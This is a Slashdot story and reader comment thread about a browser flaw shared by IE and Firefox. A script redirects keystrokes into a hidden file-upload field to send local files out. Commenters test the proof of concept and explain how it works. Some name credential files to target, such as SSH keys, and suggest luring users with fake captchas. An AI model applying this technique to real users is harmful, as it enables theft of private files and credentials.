IE and Firefox Share a Vulnerability

hcmtnbiker writes with news of a logic flaw shared by IE 7 and Firefox 2.0. IE 5.01, IE 6, and Firefox 1.5.0.9 are also affected. The flaw was discovered by Michal Zalewski, and is easily demonstrated on IE7 and Firefox. The vulnerability is not platform-specific, but these demonstrations are — they work only on Windows systems. (Microsoft says that IE7 on Vista is not vulnerable.) From the vulnerability description: "In all modern browsers, form fields (used to upload user-specified files to a remote server) enjoy some added protection meant to prevent scripts from arbitrarily choosing local files to be sent, and automatically submitting the form without user knowledge. For example, '.value' parameter cannot be set or changed, and any changes to .type reset the contents of the field... [in this attack] the keyboard input in unrelated locations can be selectively geared toward input fields by the attacker."

Comments

Awww, that's so cute

[varmint jerky]

Next thing you know they'll be coquettishly batting eyelashes at each other and accidently eating the same strand of spaghetti.

Re:Awww, that's so cute

[Anonymous Coward]

IE is *so* the bitch of that couple.

Re:Awww, that's so cute

[mrbluze]

It's certainly romantic, kind of - a bit like a fake pic of Bush and Osama in bed together that was floating around a few years ago.. ewwww!

Maybe the vulnerability they share is "that they both run in Windows".

Re:Awww, that's so cute

[Thexare Blademoon]

Yeah, strange thing about something being "funny" is that we each have our own opinions about it.

Re:Awww, that's so cute

[jcarlson]

I tested this on Windows XP SP2 with an admin account, and even though I had a security update 3 days ago to Firefox 1.5.0.10, this exploit still works.

Re:Awww, that's so cute

[LordEd]

Maybe the vulnerability they share is "that they both run in Windows".

That's a bit unnecessary. TFS(summary) even says "The vulnerability is not platform-specific, but these demonstrations are -- they work only on Windows systems."

Save the windows bashing for actual causes.

Re:Awww, that's so cute

[Qzukk]

Actually, the firefox one "worked" on Linux, it just tried to upload C:\boot.ini which obviously didn't work.

Re:Awww, that's so cute

[beckerist]

The firefox one does not work with adblock or noscript turned on. The vulnerability also DOES NOT work in Windows Vista (I just tried it).

Re:Awww, that's so cute

[x_MeRLiN_x]

This proof of concept didn't work for me since although I run as an administrator user, my browsers/email clients are launched using a neat little tool from Microsoft called DropMyRights.

Read more: http://msdn2.microsoft.com/en-us/library/ms972827. aspx

Re:Awww, that's so cute

[jtcm]

From the DropMyRights link:

Create a shortcut and enter DropMyRights.exe as the target executable, followed by the path to the application you want to execute in lower privilege. For example:

C:\warez\dropmyrights.exe "c:\program files\internet explorer\iexplore.exe"

For shame! What's that directory doing on a computer at Microsoft Security Engineering?

Re:Awww, that's so cute

[binford2k]

as I recall, vista doesn't have a boot.ini file ... so of course it couldn't be uploaded. Try making a dummy boot.ini with some random text in it and then try it again.

Nope

[The Bungi]

Not Firefox 1.5x under a non-admin account on XPSP2, though I admit that setup, while sane, is unfortunately not really common...

Re:Nope

[TheLink]

Well, in theory it's just for fishing a particular file with the filename that you type.

I'm not too worried about it, because in my office I use Linux and I run WinXP in a virtual machine, in that VM I use a nonadmin account for normal stuff - viewing and priting Word or Excel docs, instant messaging, AND I use the Run As feature to launch browser windows as yet another different nonadmin account. On the Linux host itself, I run firefox as a different user from my main user account.

So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?

I'd be more worried about Windows graphic driver exploits - graphics drivers seem a bit shoddy- plus they are all about performance, not security. And currently it's basically - Nvidia, ATI and Intel.

I've had weird things happen with Linux sound though so I wonder about the security of such stuff. I've pretty much given up on getting Linux sound to work properly for sustained periods of time (this on suse 10.0, perhaps I should try 10.2).

Re:Nope

[holdenholden]

Didn't work for me. Maybe I should have set NoScript to "Allow Scripts (Globally)". Stupid me. As soon as I finish typing this, I will.

Re:Nope

[ArwynH]

*Doh*

I wonder how many other /.ers tried it, like I did and couldn't get it to work because they forgot to turn off NoScript...

Re:Nope

[Beryllium Sphere(tm)]

>So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?

If I'm reading this right, yes, with the added limitation that Firefox won't budge without a fully qualified path name, so you'd have to type a stream of characters that included a few backslashes.

If I'm reading this right, you could combine it with some exploit that breaks the same-origin policy and steal text typed in elsewhere, but then if you've broken the same-origin policy you could do that anyway.

Re:Nope

[Anonymous Coward]

Isn't anyone using Google Mail? Just compose a new mail, and attach a file. Type in the file name, and Gmail will automatically upload it without you submitting anything. The "feature" has been there for ages, so frankly I'm puzzled why all the fuss now and not months ago?

So now that this is a bug, it makes Gmail an exploit, which makes Google do evil.

Boycott Google, Hail Microsoft! ..right?

Re:Nope

[acidrain]

Ok then, can anyone name a file on my XP box that has a standard name that they could use a copy to do some damage with?

Then I'll make an evil JavaScript version of typing tutor...

Oh, and if were comparing notes I'm surfing as an administrator in XP using firefox, and my sound does work. And I disabled the ability to transfer money out of my account using my online banking.

Re:Nope

[donaldm]

Does not appear to work with Firefox 2.0.0.1 on Fedora Core 6. Still unless someone can prove that this affects me and I need to upgrade immediately I will upgrade this coming Friday as part of my normal update procedures.

Re:Nope

[YeeHaW_Jelte]

"So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?"

No, someone using this exploit could grab any file on your filesystem that you have permissions to read. Interesting targets would be e.g. /etc/passwd, /etc/fstab, you name it.

Common mistake made here: most of these exploits are pretty harmless by themselves ... it's the combination that hurts.

Re:Nope

[hahiss]

The test page only works with Windows because it is looking for a specific file, but the exploit is general:

"Both examples [IE & Firefox] are Windows-specific, and require C:\BOOT.INI to exist and
be readable by users. The attack itself is not limited to a particular
operating system, but I decided to provide a demonstration for the most
popular desktop OS - *nix versions that access /etc/hosts or /etc/passwd
are easy to develop."

Re:Nope

[inode_buddha]

" So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?

I'd be more worried about Windows graphic driver exploits - graphics drivers seem a bit shoddy- plus they are all about performance, not security. And currently it's basically - Nvidia, ATI and Intel."

Instant slashdot classic, just add warm flat beer with a touch of sarcasm. Kudos!

Re:Nope

[Maestro4k]

Using Firefox 1.5.0.10 here and the demo's only semi-working. I typed what it said exactly and all it showed was "C:\bo". While it's not good that it managed to pick up any of it, working intermittantly like that isn't going to be doing any attackers any good. I wonder if the script's screwing up if you type too fast or something.

Re:Nope

[TheLink]

Someone using the exploit can only grab any file on your filesystem that the user account your browser runs as has permissions to read, which may be significantly restricted (I found that hard to do on Linux in the old days, but I guess nowadays it should be easier with better filesystem ACLs).

If you use the same user account for work, ssh and browsing then you risk exposing stuff like:

~/.ssh/id_dsa
~/.ssh/id_rsa

Which in some cases might be more interesting than /etc/fstab ;).

Re:Nope

[cp.tar]

Naq vs lbh znxr gur glcvat ghgbe ebg13 rirelguvat gur fhpx^U^U^U^Uhfre unf gb glcr, lbh'er nyy frg...

Re:Nope

[cp.tar]

Oh, yes, with shadowing enabled (and who doesn't enable it?) they're going to have real fun with my /etc/passwd.

Re:Nope

[jonadab]

> AND I use the Run As feature to launch browser windows as yet another different
> nonadmin account. On the Linux host itself, I run firefox as a different user
> from my main user account.

These are very useful precautions from a security perspective. I wish operating systems included features to make it more convenient to do things this way.

> I'd be more worried about Windows graphic driver exploits - graphics drivers seem
> a bit shoddy- plus they are all about performance, not security. And currently
> it's basically - Nvidia, ATI and Intel.

You've been getting your information about graphics cards from gamers, obviously. Gamers like to think of themselves as knowing a lot about computer hardware, but mostly they just know a lot about reading benchmark graphs and playing games.

*Good* graphics cards are made by Matrox.

Re:Nope

[weicco]

> These are very useful precautions from a security perspective. I wish operating systems included features to make it more convenient to do things this way.

Windows Vista runs browser with limited user rights by default. Somebody (unfortunately I don't have Vista yet) should try this with Vista and report what files can be uploaded this way.

But on the other hand, I couldn't get this thing to work with XP & IE7. Maybe I'm typing too fast. Also backspace messes the whole thing up. So in order this to work, malicious web page should say something like:

Please enter following text to following textbox with typerate something like 2 key-strokes per sec.

<insert 500 words of text here with many backslashes>

<form ...
<input type="file" ...
<input type="textbox" ...

Re:Nope

[ttldkns]

Ahhh, but then they know valid account names on your box to start blasting with a dictionary. Imagine if you ran an SSH server where only users in a certian group could ssh in. Then grabbing /etc/group can tell you which usernames to focus on.

Re:Nope

[hahiss]

Yeah, that was my thought too. OTOH, having access to a shadowed /etc/passwd file would give hints as to what logins are valid; this could make brute forcing easier. (Of course, why bother when there's easy access to files on Windows?)

Re:Nope

[joshetc]

So basically your setup is more secure than most US government workstations?

Re:Nope

[daeg]

But the exploit doesn't have to be like the demo exploit. It could be a simple comment form on a blog that only triggers if you happen to hit the right characters. With some better JavaScript handling, backspace wouldn't screw up, either.

Re:Nope

[bogado]

Witch would be quite useless if you had used a passphrase on those keys... :-D

Re:Nope

[Phisbut]

Interesting targets would be e.g. /etc/passwd

Other than getting a full list of user names on my system, what does the /etc/passwd file contain that I don't want others to know? It's not like passwords are stored in there or anything...

Re:Nope

[garaged]

all the ones that use ff on windows i'd guess, at most, we linux users actually know a thing or two :)

Re:Nope

[LordEd]

Under this setup, does it work under IE?

Re:Nope

[moro_666]

it would be nice if google would ask for permission to upload the file.
and it would be nice for mozilla to confirm "silent submit" with file inputs ....

i was wondering on the same issue a few days ago, how can they protect this from happening, right now, they can't .... but mozilla should fix it.

Re:Nope

[cp.tar]

Well, that is true... OTOH, first they'd have to see which daemons are running (in my case, none, since I don't have any servers).
Then they'd have to hope that the brute force attempts aren't discovered in time or the forced accounts automatically disabled after a certain number of attempts and that the attempts themselves aren't logged.

All in all, that's quite a lot of hope.

One of my computers has a guest account: login is username, password is password.
There you go, attack it. Knock yourself out.

Re:Nope

[gkhan1]

In virtually all modern linux-systems, nothing really sensitive is stored in /etc/passwd, all the good stuff is in /etc/shadow (which is only readable by root). This is called shadowing. And by the way, you never store a password, you only store a salted hash of it.

Run the command "cat /etc/shadow" and then run "sudo cat /etc/shadow" and watch the difference. So, unless you are running firefox as root (why, oh why, are you running firefox as root?!?!?!?) you'll be pretty safe.

Re:Nope

[Phisbut]

In virtually all modern linux-systems, nothing really sensitive is stored in /etc/passwd, all the good stuff is in /etc/shadow

I know all that, which is why I said that I don't know why I would fear exposing my /etc/passwd file.

So, unless you are running firefox as root (why, oh why, are you running firefox as root?!?!?!?) you'll be pretty safe.

Because I miss my good old days of running Windows with IE?

Re:Nope

[Sloppy]

So if I gather correctly, you can grab my bookmarks or downloaded files, IF I actually type all the letters to those specific paths? That's it?

Bookmarks? Who cares. Think credentials in general. Is your web browser set up to remember passwords? Great, now they can log in to websites as you. Or, as another poster mentioned, ssh keys.

Maybe you don't have anything sensitive in your home directory, but lots of people do.

I don't know why web browsers have gotten so complicated, but it looks like that's just how things are going to be, and it means they're going to have bugs. In the long run, since this type of software can't be trusted, it needs to be sandboxed.

If anyone's looking for a project, that's it. Containing web browsers (and any other complex software that comes into contact with lots of potentially-hostile external data sources, such as some mailreaders) while still having them be usable, should be the next Big Thing.

Re:Nope

[gkhan1]

I know all that, which is why I said that I don't know why I would fear exposing my /etc/passwd file.

Ahh, I see, I misunderstood you :)

Because I miss my good old days of running Windows with IE?

Did any anyone else just hear the music from the shower scene from Psycho? Because I could have sworn that I feared for my own death as soon as I read that sentance :)

Re:Nope

[wkk2]

Keep the private key trapped in a smart card. At least this should contain problems to the local system.

How it works

[Anonymous Coward]

Is the way this works by attaching keydown/keyup events to the document object, and then switching focus to the file upload field in order to let the user fill in the upload? Ingenious :)

So a browser would fix this by not allowing programmatic access to focus() for file uploads?

It doesn't sound like this would be particularly exploitable because you'd need them to type the letters in the right order (with other arbitrary letters as padding between this). Getting someone to type something might prove easier though now due to the prevalence of Capchas.

Re:How it works

[amrust]

Getting someone to type something might prove easier though now due to the prevalence of Capchas.

You took the words right out of my keyboard, no pun intended*.

It won't affect my commenting on blogs or sites that I normally frequent. But after that demo, I admit I probably won't look at captchas the same way again.

* OK maybe one quick pun.

Re:How it works

[KDR_11k]

I'd prefer if browsers didn't allow access to focus() at all because I can't think of a good reason to use it vs. lots of bad ones. If I want to focus something I'll give it the focus myself.

Re:How it works

[ShieldW0lf]

The reason focus() exists is to allow you to send the cursor to the field that needs correcting when you're doing form validation. It would suck if it wasn't available.

Re:How it works

[Anomolous Cowturd]

Also handy for focusing on a particular element when the page loads. Such as the search input box on google.

Re:How it works

[mgiuca]

It doesn't sound like this would be particularly exploitable because you'd need them to type the letters in the right order

This is true, but say you put it on a website where people type a lot into a text box - such as a forum, or web mail, or ... AAAH! SLASHDOT!

It turns out that some percentage of users will probably type the correct string just by chance (hence the reason why the sample page used that silly expression about cheese).

Another way they could trick you into typing the letters in the correct order is to make a page saying they found a vulnerability in your browser, and to type the following into the box to "see this exploit in action", secretly stealing your file ;)

Getting someone to type something might prove easier though now due to the prevalence of Capchas.

True, although I'd be a little suspicious if I saw a page which said:

"In order to prove you're human, please enter the following text into a box:
C:\BOOT.INI"

In all seriousness, note that if you comply with what the author had in mind, you'd actually be typing in arbitrary upper/lowercasing. This is less of a security risk on POSIX systems than Windows, because filenames are case sensitive.

Re:How it works

[mhall119]

So a browser would fix this by not allowing programmatic access to focus() for file uploads?

Actually, the proper fix would be to have any focus() call from an keypress event process cancel the event processing by the browser. That way this script would just change the focus to the hidden file input, but the browser won't process the keypress event on that input. It makes logical sense, changing the keyboard focus should kill the keypress event.

Offtopic

[KeepQuiet]

Am I the only one who kinda freaks out every time he sees this 'bug' picture? Can't slashdot have a cuter bug image?

Re:Offtopic

[RuBLed]

Easy, reply to this and type the words "I want a cute bug picture. Now. \."

Re:Offtopic

[Joebert]

Don't complain, we might end up with a picture of a bleeding asshole, while cute to some of us, I don't think the rest of us would appreciate it.

Re:Offtopic

[inode_buddha]

I used to be that way until I figured out to stir-fry it with a pat of butter. Then coat liberally with some grated parmesan cheese and crushed garlic. Enjoy!

Re:Offtopic

[Dachannien]

I see somebody was not a fan of Men in Black.

Neither on 2.0.2 xpsp1

[aepervius]

I could not make it work under such system either. Maybe it needs more ? Something which is not enabled on my firefox ?

Re:Neither on 2.0.2 xpsp1

[nmb3000]

Neither on 2.0.2 xpsp1

It does work in Firefox 2.0.2 on XP SP2 with standard options set.

I think the problem some people are having may be that when you type too fast or hit extra keys like backspace or enter, the event misfires and doesn't catch the character. If you type exactly what it says without making any mistakes, it will work. You can tell if it's taking the keystrokes right by checking the box down below. It should start spelling out "C:\boot.ini" as you come across the first occurrence of each character. The IE implementation seems better at catching characters as they come in.

You can test it easily by just slowly typing "C:\boot.ini" in the box.

That said, this is one of the more interesting exploits I've seen. There are no "holes" per se, just an interesting use of forms and javascript, but not too much to worry about for most people I'd imagine. At least on Windows it's a little harder to fish for filenames because there isn't a shortcut for the user's home directory. On XP you'd need to type "C:\Documents and settings\%username%\My Documents\foo.txt" while I assume on Linux you can enter "~/foo.txt" in a form field it will work (?).

Just one more reason not to keep your hidden stuff in ~/secrets.txt I guess.

Re:Neither on 2.0.2 xpsp1

[Kalriath]

The "~" character on XP is just a character in filenames. Example, Program Files is aliased for DOS programs as PROGRA~1. It's not usable as any form of special folder shortcut.

Re:IE7 Vista

[holloway]

Is it invulnerable because the file they happened to choose is restricted (c:\boot.ini) or because the browser is now smart enough not to give javascript focus to file upload fields?

If so then it's still vulnerable because they'll release a patch to stop hackers from uploading user files, like those with predictable filenames. It seems wrong to say that IE+Vista aren't vulnerable when the IE bug still exists.

(of course if IE7 prevents giving focus to the upload field then I'm wrong -- but I don't think that's the case. The same bug exists in IE7 on Vista)

The real common vulnerability...

[NotQuiteReal]

Is 90% of those vulnerable are "regular users".

For good or ill, I don't know many regular users, of course it is lonely at times...

Re:The real common vulnerability...

[jd]

I think I met a regular user once. I'm not entirely sure, though, as they seemed rather odd.

Re:The real common vulnerability...

[LordEd]

The TFA says the bug is not OS specific. Linux users aren't usually 'regular users'.

Doesn't work with Firefox 2.0.0.1 on Windows XP

[Anonymous Coward]

I tried with a limited user account, but of course boot.ini can only be read by administrators. Then I tried with an administrator user, and still boot.ini wasn't shown. Fud?

Also, there is no need to type all that jibberish about cheese. Just slowly type in:

C:\boot.ini

Type it too quick, and the javascript in the background won't be able to keep up with the rate of keystrokes you enter.

Re:Doesn't work with Firefox 2.0.0.1 on Windows XP

[Anonymous Coward]

The gibberish about cheese is used to show that a file name is being extracted from a string that would otherwise be considered benign. FWIW: This does affect FF 2.0.0.2 on XP under my admin account.

Re:Doesn't work with Firefox 2.0.0.1 on Windows XP

[Ctrl-Z]

Do you have a C:\boot.ini file?

It worked for me (yikes!) with 2.0.0.2 on Windows 2003; I presume XP would be similar.

Re:Doesn't work with Firefox 2.0.0.1 on Windows XP

[SashaMan]

You are missing the point. The demo program just uses boot.ini as an example, but the core problem of redirecting keystrokes to a file upload is the issue, because any file with a well-known location could be uploaded. You could write a simpler program yourself by just using two fields, a text box and a file input, and show how typing in the text box immediately appears in the file input.

Re:Doesn't work with Firefox 2.0.0.1 on Windows XP

[nmb3000]

I tried with a limited user account, but of course boot.ini can only be read by administrators.

False. These are the defaults on XPSP2 and Win2003:

C:\>cacls c:\boot.ini
c:\boot.ini BUILTIN\Power Users:R
                BUILTIN\Administrators:F
                NT AUTHORITY\SYSTEM:F

It works for anybody >= Power Users.

Then I tried with an administrator user, and still boot.ini wasn't shown.

It works for Administrators too.

Fud?

No. Full response.

Re:Doesn't work with Firefox 2.0.0.1 on Windows XP

[Tim C]

Works fine with an admin account on XP Pro SP2 and Firefox 2.0.0.2 and IE 7.

Also, there is no need to type all that jibberish about cheese

The gibberish is there to demonstrate pulling selected key presses out of the string that you type in. Getting someone to type a path to a file would be tricky; pulling a path out of a reasonably long message would be much, much easier (although getting enough slashes would seem to be unlikely...)

Re:Doesn't work with Firefox 2.0.0.1 on Windows XP

[Lemm]

Very true. First time I tried it, it got as far as c:bo and stopped cos I was typing too fast. That wouldn't be any use at all.

Mind you, the likelihood of people typing sufficiently slowly for this to catch the keystrokes is high enough to warrant this as a threat. However, that's only if the attacker knew the name of the file to look for. I guess to pull something from My Documents they just need the user to type in their Windows username (eg c:\Documents and settings\[username goes here]\My Documents - they could fill in the rest themselves), but then they'd have to append the document name, say, document1.doc to the end.

If they don't know the filename, this attack is dead in the water. Why would someone enter the name of a document on their system just because some random webpage asks?

I suppose a fix for this would be a warning prompt when a file is about to be sent. Any other suggestions? Is this solution too obtrusive?

Re:Doesn't work with Firefox 2.0.0.1 on Windows XP

[jrumney]

Beware captcha's and other form fields where you're forced to type a specific word or phrase.

Vulnerability doesn't work on Vista (Sort of)

[Anonymous Coward]

Vulnerability kinda doesn't work using Firefox 2.0.0.2 and Internet Explorer 7 (Both 32 bit and 64 bit version) on Vista Business Retail.

I had to create a Boot.ini file in my C: drive since Vista doesn't have it there anymore. IE7 and Firefox will be able to pull information out of the file if you have permissions to read the file but if you don't it won't work. This is probably why some people are reporting it doesn't work in Win XP with a user account. Only admin accounts are affected because the user accounts probably don't have read access for boot.ini.

This means that the vulnerability won't be able to access any system files but it could potentially access sensitive data you have because you'd obviously have permissions to read those files (i.e. Word documents on your desktop).

It seems that the person using this exploit would have to know the exact filename and path of the file he wants so this seems like a minor issue. The real risk is with system files because the directory and filenames for those will most likely be the same on most systems but those can't be read and I'm not sure what you'd do with the info anyway...

Re:Vulnerability doesn't work on Vista (Sort of)

[MichaelSmith]

It seems that the person using this exploit would have to know the exact filename and path of the file he wants so this seems like a minor issue.

Often when somebody prints out a document to distribute at a meeting they print the full path to the document in the footer of every page. This has always seemed like a bad idea to me.

Re:Vulnerability doesn't work on Vista (Sort of)

[funfail]

Often when somebody prints out a document to distribute at a meeting they print the full path to the document

If the document is already distributed, what is the point of an exploit to download it?

Re:Vulnerability doesn't work on Vista (Sort of)

[MichaelSmith]

If the document is already distributed, what is the point of an exploit to download it?

Maybe you want the meta information, or the letterhead, embedded macros or a later version.

Try as I might...

[oceanstream]

I cannot get this flaw to work in Firefox on Linux. I've gawked and re-written the code several times, created dummy text files that are mode 0666, to no avail. I think it could be exploitable only under the loosest of security profiles. Did I miss something from TFA that makes this windows-specific?

Re:Try as I might...

[gordgekko]

Who modded this guy insightful? The summary says it's common to IE and Firefox running on Windows.

Re:Try as I might...

[nmb3000]

Did I miss something from TFA that makes this windows-specific?

I think the presence of a C:\ might help.

Re:Try as I might...

[Anonymous Coward]

Hey dumbass! The summary also says:

"The vulnerability is not platform-specific, but these demonstrations are -- they work only on Windows systems"

So he took the demos and tried to re-implement them to work on Linux and he couldn't get them to do so.

Sad realization

[Anonymous Coward]

So...Safari on the Mac is A-OK?

Re:IE7 Vista

[jasonwea]

The test as it stands now is not valid for Vista as (afaik) it doesn't have boot.ini.

From what TFA says though, protected mode protects IE on Vista.

How does that even count?

[Zapotek]

Yes, because we all start typing "C:\repair\sam" the moment a website finishes loading...

C:\ is my boot drive.

[Grinin]

Incidentally I'm lactose intolerant.

I wonder how quickly this may become a real threat in the wild and how quickly the manufacturers can patch it...

Perhaps...

[abonstu]

they both run on windows?

Anyone else try Opera ?

[Joebert]

I tried this on
Windows XP
As Administrator
With No 3rd party anti-virus or anti-spyware protection whatsoever (total of 20 processes running including Opera)
Opera 9.10
All scripting enabled
Checked the presense of boot.ini

And while it did continue to a new page when I typed the phrase, that new page didn't have the contents of my boot.ini file.
Just a message telling me what that page was about.

Re:Anyone else try Opera ?

[KDR_11k]

When I try that the input field that's supposed to contain the filename just collapses to a 2 pixel wide line and nothing else happens.

Re:Anyone else try Opera ?

[d3bruts1d]

I tried on the IE & Fx example pages using Opera 9.10 (86790) on Windows XP SP2.

On both pages, the 2nd box collapsed into a 1-2px line. With the IE page, the text was not displayed in the box, rather a "space" was added for each key press. I could not delete the text. On the Fx test page, the text was typed in, but nothing happened. No redirect, no display of my boot.ini, nada.

Re:Anyone else try Opera ?

[wile_e_wonka]

I'm running Opera 9.20, build 8713 on Windows XP. When I tried the IE version of the bug, the page automatically turned to:

Below should be a copy of your C:\BOOT.INI file. If nothing is
shown, chances are you don't have this file in the first place,
your account has no permission to read that file, you didn't use
a vulnerable browser, or I screwed something up.

=== RECEIVED DATA ===

When I try the Firefox version, it just won't go on to the following page at all. Then I tried it in IE7 and Firefox to see what was supposed to happen. That didn't happen. (or, in other words, I apparently do have a boot.ini file, and I do have permission to access it)

The author did speculate that Opera might not be vulnurable. However, the Firefox version did not work in IE7, and the IE7 version didn't work in Firefox, so can we really expect the IE7 and Firefox versions to work in Opera?
So, perhaps Opera isn't vulnerable, or maybe it just needs an Opera-specific version for it to work, like Firefox and IE7 do.

They already share a vulnarability...

[TEMMiNK]

the user.

Firefox 2.0.0.2 + IE6

[m-wielgo]

The POC worked in both Firefox 2.0.0.2 and IE6 on Windows XP SP2. It worked as well typing various phrases besides what it told me to type.

Below should be a copy of your C:\BOOT.INI file. If nothing is
shown, chances are you don't have this file in the first place,
your account has no permission to read that file, you didn't use
a vulnerable browser, or I screwed something up.

=== RECEIVED DATA ===


[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOW S
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Micro soft Windows XP Professional" /noexecute=optin /fastdetect

Requires javascript

[pedrop357]

I use Noscript to block javascript. The exploit didn't work until I allowed javascript for that site.

New/unknown sites won't be able to do this, but my previously "trusted" ones will.

Possible workaround

[Mathinker]

If you copy/paste the text, the Firefox demo doesn't work.... a possible workaround?

The Firefox demo also is sensitive to the typing speed, for example, if you type "bnoot" instead of "boot" and you type the "n" very quickly after the "b" the demo tries to open the C:\bnoot.ini file instead.

Yep I have a boot.ini

[aepervius]

I am trying to get it work but it does not at all... Weird.

Re:Yep I have a boot.ini

[iamhassi]

"I am trying to get it work but it does not at all... Weird."

yeah didn't work for me either on Firefox 2.0.0.2, XP SP2, logged in as admin. The text popped up saying "you should see your boot.ini file below. If you don't... maybe I screwed something up." and nothing was below it and I do have a boot.ini file on the c: root

Re:IE7 Vista

[evilgrug]

It didn't protect IE on Vista for me. I created a dummy boot.ini and IE7 Vista happily spat it out.

It could be worse.

[jd]

If they rewrote XRoach as a secure Java applet, then the cockroach would climb around the screen and hide behind windows until you squash it by clicking on it. Hmmm. Actually, that's not a bad idea - can someone on the Slash code development team add this?

Re:IE7 Vista

[brainhum]

The latest Web 2.0 Captcha:

C:\ W IN D O W S\ sys tem 32\config\S AM

You heard it here first! /.

Variation on an old bug

[jesser]

I'm not sure why this is getting press now, given that a very similar exploit has been known and public since October 2000 (bug 56236). It was even fixed on trunk in September 2005, but left unfixed on branch intentionally because we weren't confident we had the UI right.

Zalewski's version is bug 370092, and he was unhappy when I marked it as a duplicate of bug 56236.

Re:Variation on an old bug

[slashdot.org]

I'm not sure why this is getting press now, given that a very similar exploit has been known and public since October 2000 (bug 56236)

erm, maybe because this is a fairly serious bug that still remains unfixed???

Re:Variation on an old bug

[Kopretinka]

I'm not sure why this is getting press now, given that a very similar exploit has been known and public since October 2000...

If it gets press, the fix might finally be released, perhaps?

What about Konqueror? Or Safari? Or Opera?

[Phil Urich]

Is this a case where using a really non-standard browser (well, I mean, Konqueror is standard for KDE but it's not like KDE is a common household word in middle America, heh) leaves one untouched? Or is this potentially a wider implementation problem? I did RTFA, and it is speculated upon. In Michal Zalewski's bug submission:

Opera is unlikely to be vulnerable to that exact attack, because it is impossible to focus on the file input text field, only on the 'browse' button; other browsers were not tested, but I would expect at least some to be susceptible (naturally, on MacOS X or Linux, test cases have to be modified to access an existing file). However this leaves the question mostly still open (even Opera perhaps, if something related that took into account Opera's different handling of these cases, right? Or am I reading wrong?).

Re:innerHTML

[SanityInAnarchy]

Well, seeing as file upload fields probably cannot have a default value, I'd assume this would be validated the same way. I'll leave it to someone else to test that theory, though.

The vulnerability is called 'users'

[mrkitty]

No matter how much you secure something, you're always going to have to deal with users. They will always do stupid things regardless of what safeguards you have in place.

Flaw is locale-dependent

[ESqVIP]

As it checks the keydown event (which happens before the keys are interpreted according to your keyboard layout), it is locale-dependent. It won't work on my localized keyboard, as its ":" key is not in the same place as on an US/international keyboard. So it fails here both on Firefox 2.0.0.2 and IE7. (on Fx, for instance, if I type what it asks it only catches "C"; but it "works" if I type in "CÇ]boot.ini".)

Re:Flaw is locale-dependent

[Flashbck]

No this flaw is NOT locale dependent. This particular proof of concept IS locale dependent but it can be designed for any locale that the code writer wishes to target. If I were to want to design this flaw for your locale, I would change the expected location of the ';' key.

Re:Flaw is locale-dependent

[ESqVIP]

If I were to want to design this flaw for your locale, I would change the expected location of the ';' key.

And if you need to adapt to specific locales, how exactly that isn't locale dependency? I'm not saying that others are completely immune, but that it will only work for a particular set of keyboard layouts that you've expected. (and testing for the right layout will need a few more keystrokes, though that isn't the matter here)

Re:Flaw is locale-dependent

[neomunk]

Actually, what you described is locale SPECIFIC, not locale dependent. There's a difference, and it applies here.

Re:Flaw is locale-dependent

[ESqVIP]

Okay, I used the wrong word. Sorry, English is not my first language.

Re:Flaw is locale-dependent

[Flashbck]

I agree with your argument (with the already mentioned revision of the word dependent to specific). I would like to revise my earlier solution. If I were to attempt to create such an exploit, which I will not do, I would create a simple check that would determine the keycode and the resulting character. Using this information I can make an exploit that is completely locale independent.

Of course a very simple work around to avoid the possibility of being exploited in such a manner is to type all posts in a simple text editor. The exploit will not work if you copy and paste text into the textarea/input type=text

OPEN PARANOIA TAG what if the writers of my OS left an exploitable buffer overflow that allowed hackers to get this information without my involvement at all!!?!??!?! Oh no!!!!!!! Run for the hills!!!!!!!!! CLOSE PARANOIA TAG

Re:Flaw is locale-dependent

[neomunk]

Not at all, and I'm not being a grammar nazi, but the difference in concept is important here.

Dependent implies that the exploit will only be able to effect some machines, no matter how it's written.
Specific implies that code would have to be changed from one platform to the other, but could be made to work.

That's it, but it's a world of difference.

Re:Flaw is locale-dependent

[ESqVIP]

I could be wrong, but I don't think you can really predict the character output of a keydown event, as it happens on a keystroke-level, before important factors (dead keys, shift and caps state, keyboard layout) are analyzed to determine the final character. The appropriate event for that would be keypress, but on my tests it can't be hijacked (maybe there could be some trick). So, you'd need a few initial keystrokes to test which characters they produce, and then attempt to guess the layout being used.

Re:Flaw is locale-dependent

[HeroreV]

As it checks the keydown event (which happens before the keys are interpreted according to your keyboard layout)

The keydown event specifies the character entered and whether keys like ctrl/alt/shift/meta are pressed. It doesn't matter whether you pressed a key at the top-left to get a "z" or whether you pressed a key at the bottom-right to get a "z". If you entered a "z", the keydown event will specify that a "z" was entered.

Re:Flaw is locale-dependent

[ESqVIP]

You seem not to know the differences between keyboard layouts.

Yes, for Z it will specify that the key "Z" (in uppercase, since I do not have a lowercase "z" on my keyboard and, as I stated before, checking for caps/shift is keypress' job). But on my keyboard, if I press the Ç key, I'll naturally get a "ç", though the keycode for it is 59 (";" in US-International layout). Even on US-International you can see that keycode does not always map to actual character result: both ":" and ";" generate the keycode 59 (since they both are on the same key, while the ASCII value for ":" is 58). The keypress event, on the other hand, tells the character outcome of one or more keydown events.

And that's why I said on my original post that the best the vulnerability example could do on my keyboard was to catch "CÇ]boot.ini".

Re:Flaw is locale-dependent

[HeroreV]

Okay, I understand what you're saying. However, you said the keydown event "happens before the keys are interpreted according to your keyboard layout" which is not true.

When I'm using Qwerty and I hit the key under my left index finger (f/F), the keyCode property of the keydown event is 70 (0x46), which is the Unicode value for a capital F.
When I'm using Dvorak and I hit the key under my left index finger (u/U), the keyCode property of the keydown event is 85 (0x55), which is the Unicode value for a capital U.

The value of the keyCode property changed because the key is interpreted according to my keyboard layout, and I changed the keyboard layout.

And the workaround is...

[camcorder]

You should disable javascript, yet again.

OT: CS:101 - Lost updates.

[TapeCutter]

"Often when somebody prints out a document to distribute at a meeting they print the full path to the document in the footer of every page. This has always seemed like a bad idea to me."

Managing documents is not a task to be taken lightly, especially when the document is the product of more than one person, document management systems work in essentially the same way as source control systems. The reason the file is on the footer is to deliberately identify where the document came from (ie: is it "official" or just someones private backup copy). It is also (ironically) a simplistic security measure that makes hard copies somewhat trackable.

